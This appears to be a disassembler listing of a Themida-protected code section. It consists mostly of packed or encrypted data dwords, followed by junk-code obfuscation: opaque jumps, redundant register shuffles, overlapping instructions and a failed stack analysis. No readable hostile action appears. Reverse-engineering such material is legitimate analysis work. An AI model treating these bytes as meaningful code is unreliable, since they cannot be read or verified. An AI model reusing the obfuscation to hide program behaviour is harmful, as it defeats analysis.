dd 640B67E6h, 6AD0FF28h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0D367C352h, 2C818589h
dd 11B607FAh, 1D818589h, 6A07FAh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0B29ABDC3h, 0C66CC2FFh
dd 0FA066585h, 85895307h, 7FA2AB5h, 3448FF68h, 81F38B54h
dd 21FD2404h, 8B663464h, 95B5FFD7h, 8107FA20h, 0E5FCEBDAh
dd 0DD858D20h, 6A07FDA3h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0E6AC351h, 3A656327h
dd 0DE9h, 0BA858F00h, 24283B3Dh, 5C7405F0h, 0B58B655Bh
dd 7FA1C91h, 8950D0FFh, 0FA181D9Dh, 95895E07h, 7FA3405h
dd 6A64858Dh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 2158B3C3h, 66BB2796h, 8589D78Bh
dd 7FA1541h, 875B52Bh, 206A07FAh, 95FFFF6Ah, 7FA1541h
dd 50414935h, 585C753h, 107FA2Ch, 0C7000000h, 0FA1C1585h
dd 7, 0DE900h, 3FDD0000h, 29A97E51h, 54A47BC1h, 8B316BAEh
dd 0FA274D95h, 91858B07h, 0F907FA0Eh, 0A364h, 958B0000h
dd 7FA1611h, 3135BD83h, 0F0007FAh, 4C84h, 60E68100h, 8B667FD3h
dd 0FA1BD5B5h, 21858B07h, 8907FA24h, 0FA18DD85h, 6AE08B07h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 0AF13C352h, 0BBB19FBAh, 57AB30DDh, 1D498589h
dd 895E07FAh, 0FA353DB5h, 85BD8307h, 7FA18h, 42E850Fh
dd 0B70F0000h, 6585C6D1h, 5607FA06h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 7BC35242h, 8B6B9348h, 0FA2C59B5h
dd 4E807h, 30DF0000h, 0F18AA9C5h, 66525050h, 0F187FBEh
dd 5AD78B31h, 24448B58h, 0AEBE6604h, 51008B27h, 0CE960h
dd 11AB0000h, 87E86AA9h, 0DC8D5C46h, 5E9112Ch, 20000000h
dd 0F0B5082Eh, 44895E61h, 0BA660424h, 6A586FF9h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 0FE39C351h, 483EBA97h, 0B5FF23C6h, 7FA2095h, 5E9h, 0F6C97900h
dd 858DC112h, 7FDA3DDh, 0D0FFD08Ah, 896AB250h, 95892404h
dd 7FA1801h, 30DD8D8Dh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 1621D8C3h, 605021D1h
dd 48D0Fh, 0BF660000h, 8D0F4991h, 0Ah, 5E9h, 3034CA00h
dd 89616938h, 0BD31240Ch, 7FA1C29h, 6A046Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 30AFE9C3h
dd 68E59C6Dh, 0A5A3206Bh, 95240481h, 0FF5A5CEFh, 0FA14A9B5h
dd 81958B07h, 8107FA16h, 178082F6h, 6AD0FF32h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 89BCC357h, 0FA10D58Dh, 118D2907h, 8B07FA15h, 0FA14A9BDh
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 66457A1Ah, 53CDF681h, 0BA3C7F03h, 7B5FAD19h
dd 0F8C781h, 0BE90000h, 0B2000000h, 409D3A43h, 517F2E21h
dd 47C7313Eh, 2024h, 0BD83F560h, 802B3B4h, 0AA840F00h
dd 0F000001h, 185h, 0C783FC00h, 0D7BF0F28h, 6A2E07C7h
dd 13E96469h, 0A9000000h, 5BAA12A9h, 333754FBh, 30AC0C66h
dd 0FF32D0A0h, 14E81E42h, 12000000h, 0CC5CB780h, 0CD110717h
dd 3E4F9AD8h, 24B89327h, 0B2A1F0C0h, 47C75E8Eh, 61746104h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0FB52EB7h, 682h, 91B58B00h, 8B07FA20h, 2B3BC85h
dd 8F0F08h, 89000000h, 880F0C47h, 6, 5841F281h, 858B7A10h
dd 802B3C0h, 1858960h, 0E807FA01h, 0Ah, 3CFCA92Bh, 159F7ECFh
dd 81660FFFh, 5BCE08D8h, 13E861h, 16430000h, 494A65B3h
dd 67AE5D0h, 70AB3802h, 9E2BA430h, 1958B8Eh, 5A07FA2Fh
dd 6A084789h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 56CBC357h, 0D058509h, 835A07FAh
dd 6A28C7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 579691C3h, 0B5039B49h, 7FA02C5h, 787BA66h
dd 632E07C7h, 6A6E6Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 0DAA05AC3h, 0FFDC86DEh, 6691A8CCh
dd 36D7CA81h, 660447C7h, 66006769h, 8B5F87BAh, 2B3B885h
dd 51006A08h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 7DFA9DC4h, 0CDDBD29h, 478907FAh, 0D68B660Ch
dd 0B3B4858Bh, 0DE810802h, 70E5A3D7h, 31084789h, 0FA35158Dh
dd 8D8D5807h, 7FA0B11h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0D7C35141h, 150DEEB9h, 3C195325h, 0F860Fh
dd 0AE90000h, 78000000h, 473E6F9Fh, 0AAD27B67h, 0BE50919Bh
dd 5FB44631h, 0FE9505Eh, 0CD000000h, 62FBF9E3h, 981F62B5h
dd 0E5BA9D04h, 8091FD9Ch, 0B5FF0AE2h, 7FA30DDh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 22C35545h, 57CA11Ch
dd 0F18B6618h, 0DBA5B768h, 240481D7h, 28246A49h, 22F58589h
dd 0B5FF07FAh, 7FA14A9h, 0FFD38B66h, 0CA8166D0h, 0F78B4AD9h
dd 0B8h, 0AE900h
dd 86550000h, 0E4CF8259h, 7CB9B5C3h, 840FC00Bh, 58h, 100D9503h
dd 0B5FF07FAh, 7FA0D6Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0C7C35040h, 0EEF1A1ABh, 0FF46B815h, 179995FFh
dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 8D89BEC3h, 7FA32B9h, 9D89C08Bh, 7FA0FD1h
dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h
dd 2DB8C08Bh, 89000004h, 0FA158185h, 8B9D8D07h, 0FF07FCE2h
dd 83585BD3h, 0FA1899BDh, 17740007h, 2DB85350h, 89000004h
dd 0FA158185h, 2C9D8D07h, 0FF07FCDFh, 6A585BD3h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 663BC355h, 6AD790BEh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 5348C352h, 958B3772h
dd 7FA1D25h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 1D1C5EC3h, 0ECCB7831h, 860FFDC8h
dd 0Ch, 68E0Fh, 0CA810000h, 54071F64h, 8D8DC08Bh, 802BDA0h
dd 0FD32BE66h, 1CD98D89h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 78FCAC3h, 0AD85C7D9h
dd 0C807FA31h, 0F000072h, 682h, 0E19D8900h, 0C707FA0Ah
dd 0FA2BD985h, 7, 0FFE2B700h, 0FA2EA9B5h, 14E907h, 7B2B0000h
dd 0D7CB71D6h, 743C5372h, 0F6FC5B75h, 0AAC45CEFh, 95FFFF1Dh
dd 7FA1799h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 0C35545h, 2C459D89h, 6A07FAh, 101995FFh, 0C08B07FAh
dd 0C7096EEBh, 248029B6h, 0BA0D85C8h, 2A4D92F5h, 8A47AB3Dh
dd 0F99356CAh, 84235FCBh, 7B83D1E8h, 0DB8B2CCEh, 6DD392EBh
dd 7146120Dh, 2D2B69DBh, 5497CCDCh, 0AFF823B3h, 63DB4349h
dd 8FBC7BF9h, 346C0959h, 0FE295C82h, 49A9DE07h, 60021E75h
dd 4F16274Bh, 7A3E587Ah, 0BBCD72A1h, 7F3250C9h, 9A895DB5h
dd 0A52A0566h, 906A21E4h, 2941C635h, 5E8h, 85DA0100h, 8E0FEF07h
dd 6, 1BC9958Bh, 0B95B07FAh, 3BD54CFBh, 5C4CC381h, 0B70F0000h
dd 16F4BECFh, 958B0000h, 7FA177Dh, 810F038Bh, 6, 15E58D8Bh
dd 0E88107FAh, 919D9C0h, 2EFD958Bh, 0C08107FAh, 0FD7E59Ch
dd 1AEF8166h, 0EC08112h, 0B61B1B83h, 0E90389FFh, 5, 4DED302Fh
dd 1EB83ABh, 7FDEB966h, 294B4B4Bh, 0FA23C58Dh, 1EE8107h
dd 0F000000h, 0FFFFAB85h, 0E900EBFFh, 462h, 98CED046h
dd 417727EBh, 0E71D8194h, 93C9D53Ah, 3D732BE6h, 0A66B5409h
dd 0FF15C2F8h, 54BC699Fh, 0AC67144Ah, 95EDBCF2h, 0E9411679h
dd 1FD63C07h, 0FD336BA7h, 0C9E52565h, 0FFE68366h, 64C7338Ch
dd 92FFE683h, 2FE69339h, 838C396Fh, 0D938E51Bh, 31E035C5h
dd 34BFDF31h, 0BEFCA20Bh, 689E0011h, 0F4559BBh, 0BDDFAE62h
dd 0AB9400CFh, 9C497FE8h, 59F12777h, 71932E2Fh, 0FBA1FF4Dh
dd 0E8D2E687h, 27187807h, 0E55F3FD2h, 0C35CB919h, 0C4711763h
dd 5FC44F4Fh, 1363EEB0h, 5D54B7D3h, 298207E8h, 2603E3AFh
dd 0F298E044h, 5522ED52h, 0E7D9D639h, 3AA3FC07h, 7AE6A304h
dd 0E610CEEAh, 0B5DF0FE1h, 0AE05ECC2h, 9CEAF1AFh, 9654422Dh
dd 128C882Dh, 3ACA236Ch, 304C2BE5h, 0FE24DCDh, 0A6319AF3h
dd 1844D77Dh, 0FE24DB1h, 7F0A947Bh, 1DA8F61Ah, 0EDD18BC4h
dd 0C3EC7727h, 0BA74F55Ah, 5288C1EBh, 0D63F82CBh, 44286030h
dd 21C64870h, 57000001h, 0F6A867BCh, 0EF9C426Bh, 6AF17C22h
dd 839FF612h, 54ADFFE6h, 7BA89AC4h, 593405EBh, 58BB20B3h
dd 38781046h, 0E72DB91Ch, 0E98EE7FFh, 22CF7529h, 0DD1DADF1h
dd 2D1E819Dh, 0EB44FFE7h, 0E72D1C7Fh, 61F14AFFh, 0E72CE245h
dd 11B710FFh, 3C24657Eh, 102C6CACh, 0FFE72DADh, 0AB0E7AD3h
dd 0D9FFE72Dh, 2642DA80h, 7E14268h, 57BAD656h, 7D07E141h
dd 0CB30BB24h, 67CC5747h, 1365F0AEh, 0B68830EAh, 24EFD38Dh
dd 6CAC447Ah, 0E140ED50h, 14BA1307h, 0FA8AD6B3h, 0DB6990DEh
dd 19F98E0Fh, 2CD1FA85h, 32CB7E7h, 67AA0F9Ah, 0BD540137h
dd 503D56E1h, 1E488818h, 0C8B5D772h, 6A34E0CDh, 0B4E75B01h
dd 0A2FFE6C7h, 0D7B21349h, 75CAC34Dh, 4324B8C8h, 5B840F78h
dd 4D3862F2h, 0ADFE9078h, 0F814AC52h, 7E0CFC6h, 0DCF5228Ch
dd 70C71C38h, 0DE479BF6h, 0A731A1Fh, 0D3EF2F7Fh, 7E11370h
dd 97FA1696h, 0BD07E113h, 0A855FB64h, 52FF3569h, 3B54DFBFh
dd 627E0E52h, 7E11333h, 0F5A2D831h, 954C821Ch, 3ACA96F3h
dd 41C3FE10h, 6B11FDBDh, 135393D3h, 0E6F794F7h, 0FD69C2FFh
dd 0FFE6F79Ah, 55C96FC8h, 7E10D03h, 7977A0Fh, 65AE139Eh
dd 2B6B0339h, 0E0E5AC0Fh, 0DB81DA07h, 94F9A302h, 0C42B8FCCh
dd 8E07E0E5h, 4BE31985h, 0F7821CF6h, 987B28CEh, 0FD167B06h
dd 67F2AC65h, 0E598FB17h, 65BE07E0h, 0A30893FCh, 3FA42F6Fh
dd 0ED26CBD3h, 0A1E226B1h, 0B2E33FE7h, 9FFF14F8h, 0F1619969h
dd 0F348406Eh, 0FBDC821Ch, 1Fh, 0CA96F38Ch, 6BA5FA3Ah
dd 18868E33h, 9840FE72h, 0C51E07E0h, 603ED53Ah, 19432Ah
dd 0A7DC0000h, 46AB3668h, 2B8EAACDh, 20FFE683h, 8B4E790Bh
dd 459EDF29h, 0BCEFA6DCh, 0E602A392h, 29CFDE7Bh, 0D50B937Ch
dd 196EAE06h, 0FD607CFBh, 23FFE6D6h, 0ADD661CAh, 8930B08h
dd 66C539DFh, 94FFE6D7h, 0C84BB03Bh, 2CE64BD6h, 9182E772h
dd 0FD3E820Dh, 89C99B43h, 7D21F449h, 0E6D7AE11h, 0D57BD4FFh
dd 3C949A54h, 0EA7529E7h, 0A6F81CC1h, 0ED4C6800h, 0BCFFE6D6h
dd 0D6FD607Ch, 0CA23FFE6h, 0F282DB24h, 0E8B65DB2h, 0D76BCE42h
dd 204AFFE6h, 73E785A4h, 0D821C753h, 71B1497Fh, 0E74BF255h
dd 21C720FFh, 0C9FF9F74h, 6737DC31h, 688640C1h, 18h, 326CA701h
dd 0CDD142A7h, 6ABFFF97h, 298CF8A6h, 57FFE683h, 60BF58FEh
dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h
dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E7895752h
dd 49D4B850h, 0D0356B62h, 16B6249h, 0EF8358C7h, 243C8704h
dd 13F5685Ch, 14890000h, 6EA46824h, 4890000h, 0DFBB5324h
dd 8175900Eh, 0F44938CBh, 4EBC17Fh, 6FA0C381h, 0D3F74790h
dd 7106CB81h, 0F381084Ah, 0B078C5F9h, 545BDA89h, 8324048Bh
dd 0EC8304C4h, 24148904h, 8B08408Fh, 89562404h, 4C681E6h
dd 81000000h, 4C6h, 24348700h, 24148B5Ch, 81E28952h, 4C2h
dd 4C28100h, 87000000h, 0E95C2414h, 0FFF7BC00h, 5E0AD0E8h
dd 0B738FEA0h, 49948C84h, 64B8D3CAh, 30802C2h, 93E0FFC5h
dd 9A5DE0E7h, 28433A88h, 6D165DEFh, 0C46621DCh, 0A5798FA4h
dd 9E7A58A0h, 0C075D696h, 0AA101493h, 210379D3h, 0F05616D6h
dd 583E990Ch, 3448C151h, 0E4B9B75h, 9750C5Bh, 1B0259AAh
dd 8B0671AFh, 786B3321h, 95458082h, 33694334h, 5C2F40EBh
dd 686A36AEh, 0B9736DA5h, 3B604C8Dh, 0E9C68B66h, 9, 6A33FBD8h
dd 0FC3BE15Ah, 13D181D6h, 0FC2194BFh, 7A4DB2B9h, 11E940h
dd 31A80000h, 0BE54741Dh, 8B59B12Dh, 11B58B16h, 60F0C7F3h
dd 0FD68B66h, 288h, 615B5600h, 0CDE480F8h, 66D88B66h, 0F7D89BAh
dd 8051DFBFh, 0F587EEDh, 0B70FC6BFh, 0AE8D8h
dd 4FC10000h, 84F299FFh, 23F0D2D9h, 7E960h, 87130000h
dd 39A79DCBh, 6102B16Dh, 850F605Ah, 3, 0E9C28B66h, 8, 9FA3F2BEh
dd 0A64BD1E0h, 630FBA61h, 0F9BB1E88h, 667B15F3h, 0E9B095BEh
dd 14h, 33B286DCh, 0D838C9F3h, 0F5828F9Fh, 61272C6Ah, 4AE8B7ACh
dd 0F8BF0F52h, 0D281665Eh, 0AE9FB36h, 24000000h, 862A2CBFh
dd 4F01AF60h, 0BA66FC3Fh, 6657B5CDh, 0E95AF78Bh, 14h, 0D583ABD9h
dd 2C8FE935h, 0F37D935Ah, 0E5601CD3h, 0DC9887CAh, 0F5F2B70Fh
dd 3B0FBA66h, 9E9h, 0B07C9600h, 69740082h, 0DE807C9Eh
dd 10E973h, 0FDCA0000h, 4E731876h, 4268E8E5h, 42106AA1h
dd 8166E3B9h, 8B8D88E9h, 3D78B9D1h, 5F534247h, 7E8h, 61484900h
dd 26A7348Fh, 0CE9h, 0F015D600h, 0F25F14ACh, 0B239C21Ah
dd 8F0F5ADCh, 3, 0FEBCF80h, 0DA8BF8B7h, 0E4F78166h, 5ABA66FAh
dd 97D88192h, 0F876FD08h, 8B0Fh, 0B9660000h, 816020A3h
dd 92CCEDFh, 14E861h, 0C87A0000h, 0C530378Bh, 0D3D0A74Eh
dd 66B47F2Bh, 0B514320Fh, 61608764h, 81666159h, 66DFD3D7h
dd 667A46BFh, 0FA2BEBAh, 384h, 0C6B70F00h, 0FCFCAFB4h
dd 8BC0B70Fh, 0E1C281F2h, 607AC284h, 0B16061F9h, 14E9536Dh
dd 26000000h, 881C7B99h, 9D666292h, 5EED33D4h, 94C217E1h
dd 58ADF5D7h, 0F93B661h, 8Eh, 11E900h, 6B460000h, 776120C9h
dd 0FA0E471Fh, 74C576C0h, 0F80629Ch, 86h, 90E38100h, 661A70A3h
dd 751BF081h, 0E8C0B70Fh, 8, 38582490h, 0FB874C1h, 118C0Fh
dd 0BE80000h, 0E5000000h, 4E622A70h, 0C0E39E06h, 5A5B3979h
dd 13E9F5h, 0B8680000h, 930AAF23h, 9F7F42Dh, 87F5D102h
dd 250D7ECDh, 2830F1Bh, 8B000000h, 1EC180CBh, 68D0Fh, 0F8600000h
dd 61F88B66h, 93D78166h, 0DF8BFC82h, 0CE8EBB2h, 0F3000000h
dd 679A75Dh, 4FB07F47h, 53019E74h, 800F5E5Ah, 5, 0F3471EB9h
dd 60F38B75h, 0A348B966h, 61D18B66h, 0B773F081h, 7EB466C4h
dd 0B4EA8166h, 14E96081h, 0EF000000h, 30EAA87Fh, 29D1CDEh
dd 0D60AD89Dh, 0DDE2EAA2h, 6680BED1h, 3577D181h, 16880F61h
dd 51000000h, 0FE9h, 422E3A00h, 6EAEE137h, 0D6524546h
dd 7C91323Ah, 78B2BB5Eh, 0BF0F3CD2h, 0B966F8F0h, 0B451F750h
dd 0BF0F5BE9h, 0D98B66F9h, 17860Fh, 12E90000h, 0E2000000h
dd 0B50245F6h, 8A98C502h, 0E5C804A5h, 855C3EE2h, 58B0F69h
dd 0BB000000h, 2324596Dh, 4840Fh, 0B9660000h, 0C6815182h
dd 1600F311h, 4CC08160h, 616AA24Dh, 4B1AF081h, 830F40B8h
dd 7, 0EB816660h, 6061495Ch, 88FFB866h, 11E85761h, 69000000h
dd 61DCB056h, 8FD8085Bh, 951A37A5h, 7DCE7ADDh, 0FFC5E5Ah
dd 0C18AC3B7h, 82FCBB66h, 0BE66F38Bh, 10E978BFh, 6A000000h
dd 8FAF0E62h, 0E71EC012h, 4286EC89h, 6610B81Fh, 0E990FCBBh
dd 0Dh, 0DACA6649h, 50C2BBF0h, 0CCACC8B5h, 0A8BA6047h
dd 616C5CF0h, 12E952h, 39E40000h, 0BA08FD7Ch, 3EC3D722h
dd 2A080DB3h, 0E6DE3AEAh, 0ACEF805Ah, 4C18C181h, 0FE87326h
dd 2B000000h, 0F0E02B4h, 3D43EB4Ah, 0FB97990Ah, 0BE99450h
dd 0DF000000h, 9C59D852h, 75C87411h, 6658DE57h, 0EB68DF81h
dd 0FC2BF0Fh, 8D0FCBBFh, 0Ch, 2CBF6660h, 840F2Ch, 61000000h
dd 0EE9h, 0D673A000h, 41D68B99h, 2982FB59h, 0F96BA14h
dd 0BF0FC1B7h, 7227B8F2h, 820F443Eh, 0
; ---------------------------------------------------------------------------
or dx, 0A65Eh
jmp loc_60FBFE
; ---------------------------------------------------------------------------
dw 40E2h
dd 81EEE5FCh, 0C0F468AAh, 8BE200A0h, 0FFFD5D81h
db 67h, 23h
; ---------------------------------------------------------------------------
loc_60FBFE: ; CODE XREF: Themida_:0060FBE5j
movsx ebx, bx
mov edi, 7E55A503h
jno $+6
stc
adc si, 49E4h
mov ax, bx
movzx ecx, cx
jl loc_60FC1F
cld
loc_60FC1F: ; CODE XREF: Themida_:0060FC18j
jmp loc_60FC31
; ---------------------------------------------------------------------------
dd 14963CD5h, 0FE0E2389h, 0F3016B9Eh
db 0B7h
; ---------------------------------------------------------------------------
loc_60FC31: ; CODE XREF: Themida_:loc_60FC1Fj
sub si, 7312h
mov dx, 2B07h
xor ebx, 65DBC6B8h
mov eax, 53E46461h
mov ecx, edx
jmp loc_60FC58
; ---------------------------------------------------------------------------
inc esi
lodsb
xchg eax, edx
mov esi, 0C37BA643h
retn 4888h
; ---------------------------------------------------------------------------
db 76h
; ---------------------------------------------------------------------------
loc_60FC58: ; CODE XREF: Themida_:0060FC47j
mov eax, ecx
jmp loc_60FC6B
; ---------------------------------------------------------------------------
db 66h
dd 0E9375A58h, 0F01AB8B9h
db 7Bh, 25h, 79h
; ---------------------------------------------------------------------------
loc_60FC6B: ; CODE XREF: Themida_:0060FC5Aj
cmc
push edx
mov si, 87Fh
pop ecx
sub ecx, 6B1CCB77h
adc al, 78h
mov dx, 9363h
clc
mov ebx, esi
movsx eax, ax
call sub_60FC9D
dec esp
; ---------------------------------------------------------------------------
db 0Fh
dd 7C87AE38h, 0B97C9533h, 861363D5h, 7EEA76FFh
db 8Ch
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_60FC9D proc near ; CODE XREF: Themida_:0060FC85p
jmp sub_60FCA8
sub_60FC9D endp
; ---------------------------------------------------------------------------
dw 0E1E5h
db 0CCh
db 6Ah, 9Dh, 0F0h
; =============== S U B R O U T I N E =======================================
sub_60FCA8 proc near ; CODE XREF: sub_60FC9Dj
pop ecx
jmp loc_60FCBA
; ---------------------------------------------------------------------------
sub eax, 9A623E90h
add [ebx-7D8E9008h], ecx
loc_60FCBA: ; CODE XREF: sub_60FCA8+1j
mov edi, eax
jmp loc_60FCD0
; ---------------------------------------------------------------------------
db 7Bh, 67h, 0AFh
dd 30F16BEEh, 0CF0D58BFh, 92F42299h
; ---------------------------------------------------------------------------
loc_60FCD0: ; CODE XREF: sub_60FCA8+14j
mov eax, 1B01A932h
jp loc_60FCE0
add ax, 70A0h ; CODE XREF: sub_60FCA8+8Aj
loc_60FCE0: ; CODE XREF: sub_60FCA8+2Dj
push edx
movzx esi, cx
pop ebx
push edx
pusha
clc
pusha
popa
popa
pop ecx
jp $+6
jmp loc_60FD05
; ---------------------------------------------------------------------------
mov [ecx-1E5BC937h], bh
pop ebp
sbb eax, 0BA075A08h
xchg ecx, [eax]
loc_60FD05: ; CODE XREF: sub_60FCA8+4Aj
mov dh, 51h
movsx edx, cx
sbb ecx, 3BB78BFEh
pusha
push edi
mov bl, 1Fh
pop eax
adc cl, 57h
popa
pusha
cmc
jmp loc_60FD2A
; ---------------------------------------------------------------------------
dd 0B97DD1DAh, 0BAA6D074h
; ---------------------------------------------------------------------------
ror ah, 1
loc_60FD2A: ; CODE XREF: sub_60FCA8+73j
popa
mov ah, ch
call near ptr loc_60FD36+3
jnb short near ptr loc_60FCDB+1
sahf
insd
loc_60FD36: ; CODE XREF: sub_60FCA8+85p
jmp far ptr 0D8F5h:1DBA8A83h
sub_60FCA8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 15h, 5Bh, 53h
dd 58D3B70Fh, 9E8h, 0C8837000h, 2A73B43Ah, 0DA8B57A3h
dd 0E9C78B5Ah, 9, 5C8B6F52h, 5ECB640h, 81D6B408h, 75A13FD3h
dd 80E78161h, 0F1A24F1h, 0E8FCF8B7h, 11h, 8ECC4560h, 6E4890A7h
dd 3D968738h, 0FDCBA7FFh, 0CD5800Dh, 603AB259h, 0FE8h
dd 0C27F0900h, 0CB8171ECh, 1D8558C7h, 83AE9C60h, 870Fh
dd 0F590000h, 8Bh, 8B666100h, 11E8FAh, 10E90000h, 39F60E0Bh
dd 2D1742CEh, 25D44F10h, 800B463Ch, 605E80DAh, 61FE8B66h
dd 0A108B866h, 14E860h, 839D0000h, 0C9C1E27h, 0AD8A1062h
dd 0D9B563B7h, 531F6381h, 615E2CFBh, 820F7DB1h, 5, 933E7EBBh
dd 0BF0F6069h, 0DE8161F6h, 58828A72h, 14E9h, 0CBA14500h
dd 1C4647A7h, 88801D65h, 0E0C55A16h, 78688E87h, 15860FC8h
dd 0E8000000h, 0Ch, 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 5E1DC480h
dd 0FDDBBB66h, 8E9h, 9C066C00h, 0B7AF6654h, 8F2CB875h
dd 870F52A1h, 14h, 0FE9h, 0A1799800h, 43B27637h, 21409D3Ah
dd 3E517F2Eh, 0CE9h, 0F4A12400h, 0BCD7C5EBh, 82BBB0CBh
dd 9E9F869h, 86000000h, 1B4108FAh, 0F32EED43h, 68E0Fh
dd 0D0810000h, 17C41038h, 0FE8h, 9237AD00h, 9A689087h
dd 34913AFFh, 0E7A637D1h, 0DE8h, 34E69D00h, 0F13FBD4Ch
dd 75DBDDBCh, 0BB6681F8h, 5E5AA648h, 5E8h, 93976100h, 81666C28h
dd 58918FC9h, 0F5CF8B66h, 73E18166h, 28B0FD8h, 8A000000h
dd 38B0FD4h, 0F000000h, 0EA81D3BFh, 61DCA355h, 178C0Fh
dd 12E90000h, 3A000000h, 0B26D96B7h, 39AB7FE8h, 0F73102A9h
dd 1687B83Ch, 817DB5EFh, 37929F0h, 0BF0FFC4Ah, 94D781D8h
dd 0E8523E76h, 0Ch, 8CA7C70h, 8F597D31h, 48635C1Ch, 0F585160h
dd 87h, 0F596100h, 8E0FF8B7h, 0Bh, 58A0Fh, 81660000h, 0E9856AC0h
dd 0Eh, 0F4D90E84h, 0C45685C3h, 0F9BF1714h, 0E880015Fh
dd 188D0F8Eh, 0E9000000h, 13h, 0E80600E4h, 62301E73h, 1A79134Ch
dd 7A02A887h, 8139009Dh, 2B47FDD3h, 0B70F5174h, 7E95FD6h
dd 3C000000h, 0DA9BD425h, 0D6818347h, 59BDD51Ah, 820FC88Bh
dd 0
dd 83DFD981h, 0EE801F4h, 0C8000000h, 78E59EB0h, 40A765Fh
dd 57CEB407h, 10E9B1h, 99960000h, 8D8DBFCBh, 5C3139E3h
dd 470B2766h, 8B5F6F2Ah, 3B660FEh, 0DA6C91BEh, 0DD806119h
dd 0C78B66A7h, 0DB8166F8h, 0BF0FC122h, 8BDF8BC0h, 0E950B6D1h
dd 0Bh, 0B095CFB9h, 8EA53405h, 0E957DC5Eh, 14h, 34AB4C9Ah
dd 9E1FF8F3h, 0E8DF6CDAh, 0CA353CA2h, 841F3E77h, 6059F853h
dd 0CAC68160h, 817ACFD5h, 51A8DDEFh, 10E86160h, 0AE000000h
dd 76A784B0h, 2AA04AA2h, 1D58EFB2h, 0F8ECAFD5h, 8C0F615Ah
dd 2, 8166DF8Bh, 8BA39FE7h, 3800FC8h, 80000000h, 830F61EEh
dd 3, 60F7D580h, 0C1C0A7B9h, 0F281667Eh, 666193F2h, 41C4EB81h
dd 0F4BCC80h, 0BFFCD3BFh, 134F0C9Ch, 27B6BE66h, 0B870F57h
dd 0E9000000h, 6, 547760BEh, 0F5BDE53h, 28Eh, 66C38A00h
dd 8166F28Bh, 0E98D53F0h, 0Dh, 9335F770h, 0A5D607C6h, 82013818h
dd 0D88166E7h, 0B70F5AECh, 0BBBBB6DEh, 12370D6Dh, 61605051h
dd 12E95E5Fh, 0FF000000h, 0D4DDB787h, 0DF4618F3h, 0CA480CC2h
dd 2865B9ECh, 8F0F503Eh, 2, 0E95FFE8Bh, 13h, 987C3E82h
dd 6541EABBh, 2B5A5460h, 379AB084h, 60A480A9h, 0F7DCB866h
dd 13E9h, 90A9E700h, 0F572C3Ah, 0C43CC39Dh, 6C2C298Ah
dd 845E4669h, 0B70F6061h, 0CCB866F3h, 0CCB9616Bh, 0BF7A3D4Fh
dd 9AF5B0Dh, 0BE9h, 8EC57000h, 1DC0A7BEh, 92EF8CCDh, 9EC98166h
dd 0FBBF0F87h, 57C7B70Fh, 12E9h, 0E7A7AB00h, 0BB54DF48h
dd 8211E256h, 42089557h, 58536401h, 8BD18B66h, 0E08166CFh
dd 55B3C4B8h, 6E8h, 760E8B00h, 0F56996Bh, 283h, 59595000h
dd 9E8h, 6416BA00h, 42912EEh, 890F4B5Ch, 0
; ---------------------------------------------------------------------------
pop edx
movsx eax, di
mov edx, ecx
cmc
jmp loc_6101D4
; ---------------------------------------------------------------------------
pop ebp
mov ebp, edx
mov cl, 18h
movsb
adc esi, ecx
sub [edx], cl
xchg al, [eax+30h]
push esp
sub bh, dh
or byte ptr [esi+66h], 0F1h
loc_6101D4: ; CODE XREF: Themida_:006101BBj
push eax
pop ecx
jnp loc_6101EC
jmp loc_6101EC
; ---------------------------------------------------------------------------
db 38h, 9Fh, 2Fh
dd 0FF405BD9h, 5C193340h
; ---------------------------------------------------------------------------
loc_6101EC: ; CODE XREF: Themida_:006101D6j
; Themida_:006101DCj
movzx edx, ax
mov ax, 0D6EFh
jbe loc_6101FF
sub ebx, 2BD33D61h
loc_6101FF: ; CODE XREF: Themida_:006101F3j
call near ptr loc_61020B+1
mov dl, 0DEh
out dx, al
movsb
sbb [edi-38h], ebp
loc_61020B: ; CODE XREF: Themida_:loc_6101FFp
out 81h, al ; DMA page register 74LS612:
; Channel 2 (diskette DMA) (address bits 16-23)
out dx, eax
cdq
jz short near ptr dword_60FFB4+1E8h
sbb [edx-80h], bl
rep imul esp, [esi-75h], 0FD98BF8h
